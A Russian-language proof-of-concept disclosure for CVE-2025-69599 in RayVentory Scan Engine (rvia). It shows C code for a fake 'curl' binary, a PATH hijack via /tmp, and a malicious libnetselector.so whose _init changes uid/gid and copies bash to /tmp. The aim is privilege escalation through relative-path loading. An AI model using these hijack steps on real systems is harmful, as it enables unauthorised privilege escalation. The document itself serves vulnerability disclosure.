
Эксплойт доказательства концепции для CVE-2025-69599, демонстрирующий неконтролируемый элемент пути поиска в RayVentory Scan Engine через перехват PATH и внедрение разделяемых объектов для повышения привилегий.
rvia в Raynet подвержен проблеме неконтролируемого элемента пути поиска. При загрузке совместно используемых объектов и вызове системных двоичных файлов (таких как .so и вспомогательные двоичные файлы) они вызываются с использованием относительных путей, что позволяет пользователю подменить конечный двоичный файл или объект .so, используемый через манипуляцию переменной окружения PATH.

В следующем доказательстве создается произвольный двоичный файл с именем curl в каталоге /tmp.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("whoami");
return 0;
}
gcc curl.c -o curl # Compiling the binary
Переменная PATH изменяется так, чтобы первым каталогом для поиска команды curl при вызове rvia был /tmp.
export PATH=/tmp:$PATH
И после этого вызов /opt/rvia/rvia getconfig будет использовать наш подмененный двоичный файл curl.

То же самое относится и к опции upload.

Та же проблема обнаруживается при использовании опции rvia inventory, которая внутри вызывает двоичный файл ndtrack. Двоичный файл ndtrack вызывает команды cat и sh, используя относительный путь.


Наконец, также было обнаружено, что двоичный файл ndtrack включает совместно используемые объекты (файлы .so) с использованием относительных путей.

В следующем доказательстве можно увидеть шаги, предпринятые для замены относительного вызова libnetselector.so (также можно выполнить те же действия с libuploader.so). В этом случае создается пользовательский совместно используемый объект, при выполнении которого будет создана копия bash в каталоге /tmp с именем bash_so_hijack.
Ниже приведен код на C для создания пользовательского совместно используемого объекта с именем libnetselector.so
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
void _init() {
setuid(1001);
setgid(1001);
system("cp /bin/bash /tmp/bash_so_hijack");
}
gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # compiling the shared object

Важно отметить, что это работает только при прямом вызове ndtrack, поскольку при вызове опции inventory происходит вызов bash-скрипта по адресу /opt/rvia с именем ndtrack, который устанавливает переменную окружения PATH перед вызовом двоичного файла ndtrack.
